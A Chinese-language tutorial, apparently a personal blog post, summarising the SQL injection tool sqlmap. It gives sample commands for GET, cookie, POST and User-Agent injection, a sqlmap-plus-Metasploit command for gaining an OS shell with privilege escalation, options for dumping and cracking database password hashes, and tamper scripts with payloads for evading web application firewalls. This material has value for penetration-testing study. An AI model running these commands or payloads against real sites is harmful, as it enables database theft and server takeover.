sqlmap 使用总结
一直在用sqlmap,一直在浅层的使用方面,所以我想深入了解一下sqlmap。
参考文章:
Sqlmap使用教程【个人笔记精华整理】 http://www.vuln.cn/1992
sqlmap用户手册详解【实用版】 http://www.vuln.cn/2035
如何使用SQLMap绕过WAF 作者: 懒人网安 https://www.ilrwa.com/guidang/627.html
使用sqlmap中tamper脚本绕过waf http://www.cnblogs.com/studyone/p/5459215.html
绕过WAF脚本分类整理 http://blog.csdn.net/hxsstar/article/details/22782627
SqlMap用户手册 https://www.secpulse.com/archives/4213.html
1、 sqlmap有什么用?
当给sqlmap这么一个url (http://127.0.0.1/sqlmap/mysql/get_int.php?id=1) 的时候,它会:
1)判断可注入的参数
2)判断可以用那种SQL注入技术来注入
3)识别出哪种数据库
4)根据用户选择,读取哪些数据
2、 sqlmap五种不同的注入模式
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
3、 最新版的sqlmap在哪里下?
https://github.com/sqlmapproject/sqlmap
下载之后用python运行就可以了。
当然如果你的电脑安装有git命令,就不用每次都重新下载浪费时间,我们可以执行命令进行更新。
python sqlmap.py --update
4、 -v参数是干什么用的?
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0)只显示python错误以及严重的信息。
1)同时显示基本信息和警告信息。(默认)
2)同时显示debug信息。
3)同时显示注入的payload。 有些测试也是需要高等级才启动的,一般是3级或是3级以上,例如,cookie注入,referer注入等
4)同时显示HTTP请求。
5)同时显示HTTP响应头。
6)同时显示HTTP响应页面。
5、 sqlmap的使用方法
1. 用level1检测数据库类型
sqlmap -u http://127.0.0.1/post.php?id=1
2. 指定数据库为mysql,级别为3(共5级,级别越高,检测越全面
sqlmap -u "http://127.0.0.1/post.php?id=1" --dbms mysql --level 3
3. 当get的数据被过滤时,就要想到cookie注入了
sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie)
这块我觉得有需要的可以了解一下检验是否存在cookie方法。。。因为我就挺想知道的。当然直接命令跑也是可以的,没毛病。
1) 寻找形如“.asp?id=xx”类的带参数的URL。
2) 去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3) 清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request("id")这种方式获取数据的。
4) 重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie="id="+escape("xx and 1=1"));”
“javascript:alert(document.cookie="id="+escape("xx and 1=2"));”。
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
5) 使用常规注入语句进行注入即可。
4. 前面走过了,get和cookie,还有一种传参的方法是post。
--data 此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"
5.上面这种post方法比较快捷,还有一种post方法有助于绕过前端验证。需要用burp或别的抓包工具抓一下,保存到本地加载
sqlmap -r "存文件的路径" -p "username" 指定username参数(就是你认为的注入点参数)
此外还有一种自动获取表单的方法
sqlmap -u "http://www.target.com/vuln.php" --form
6.当网站有防火墙,对请求速度做了限制的时候
sqlmap -u "http://127.0.0.1/post.php?id=1" --delay=10 --delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
7.设置 HTTP User-Agent头
参数:--user-agent,--random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。
当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
这里提供几个请求头(如果还需要更多跳转此处):
PC端
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0
手机端
iPhone:
Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/14D27 UCBrowser/11.6.1.1003 Mobile AliApp(TUnionSDK/0.1.20)
Android:
Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
诺基亚N95:
Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/30.0.015; Profile MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
诺基亚N97:
Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124
8.sqlmap+metasploit 的打法
sqlmap -u "http://127.0.0.1/show.jsp?id=1" --time-sec 5 --random-agent --os-pwn --msf-path /usr/share/metasploit-framework/ --priv-esc -v 1
注入成功之后的内容,注入库名,表名,列名等等,就不写了,网上有很多。
5.1 常用参数介绍
1、设定延迟注入的时间
参数:--time-sec
当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。
2、获取表中数据个数
参数:--count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。
3、当前用户是否为管理用
参数:--is-dba
判断当前的用户是否为管理,是的话会返回True。
4、列数据库管理用户
参数:--users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
5、列出并破解数据库用户的hash
参数:--passwords
当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
6、列出数据库管理员权限
参数:--privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。
7、标志
参数:-b,--banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
8、测试注入类型
参数:--technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入)
例如: --technique=T
9、按默认配置
参数:--batch
从不询问用户输入,使用所有默认配置。
10、添加前后缀
参数:--prefix,--suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
这时你就需要--prefix和--suffix参数了:
python
sqlmap.py -u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id
--prefix "’)" --suffix "AND (’abc’=’abc"
这样执行的SQL语句变成:
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
11、检测防火墙
Sqlmap用来探测WAF的命令如下:
python sqlmap.py -u “http://www.victim.org/ex.php?id=1” --identify-waf
貌似必须是或自己修改的类似动态参数才能使用。
12、设置并发数
当在测试中遇到数据量比较大的时候,可以通过设置高并发数提高注入速度。
--threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
以上是比较基本的注入语句,相对于现在的网站来说,就是片刀砍城墙一样。只需要在网页中加一些过滤,对输入的参数做一些限制,便跑不出来。
针对于这种类型的网站,我们可以尝试加入脚本试试。
5.2 使用脚本的方法--tamper
sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” --technique U -p id --batch --tamper “space2morehash.py” --batch 从不询问用户输入,使用所有默认配置。 --technique=TE SQL注入技术测试(默认BEUST)
写一些常用脚本,前面的参考文章里面,有更加详细和全面的介绍。
space2hash.py
应用于mysql数据库
绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,随机字符串和换行符
* Input: '1 AND 9227=9227'
* Output: '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
space2morehash.py
应用于mysql数据库
空格替换为 #号 以及更多随机字符串和换行符
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
实际上上面两个脚本的是相似的,都是把空格替换成随机字符,只是替换方式有差别
space2mysqlblank.py
应用于mysql数据库
空格替换其它空白符号
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
space2mssqlblank.py
应用于mssql数据库
空格替换为其它空符号
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
charencode.py
url编码
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
chardoubleencode.py
双url编码(不处理以编码的)
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
下面两个如果web应用使用asp/asp.net开发
charunicodeencode.py
字符串 unicode 编码
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045
有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!
percentage.py
asp允许每个字符前面添加一个%号
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
一些其他的常用脚本
between.py
用between替换大于号(>)
* Input: ('1 AND A > B--')
* Output: '1 AND A NOT BETWEEN 0 AND B--'
unmagicquotes.py
宽字符绕过 GPC addslashes
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
versionedmorekeywords.py
通过注释绕过
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
总结: 以上列举了一部分有代表性的tamper脚本来帮助我们绕过waf,每个脚本都有自己的使用场景,还是需要灵活使用。
但是在很多场景中,通过脚本的使用依然绕不过waf,这时候有两条路,一条手工去绕(耗时间),一条换换思路。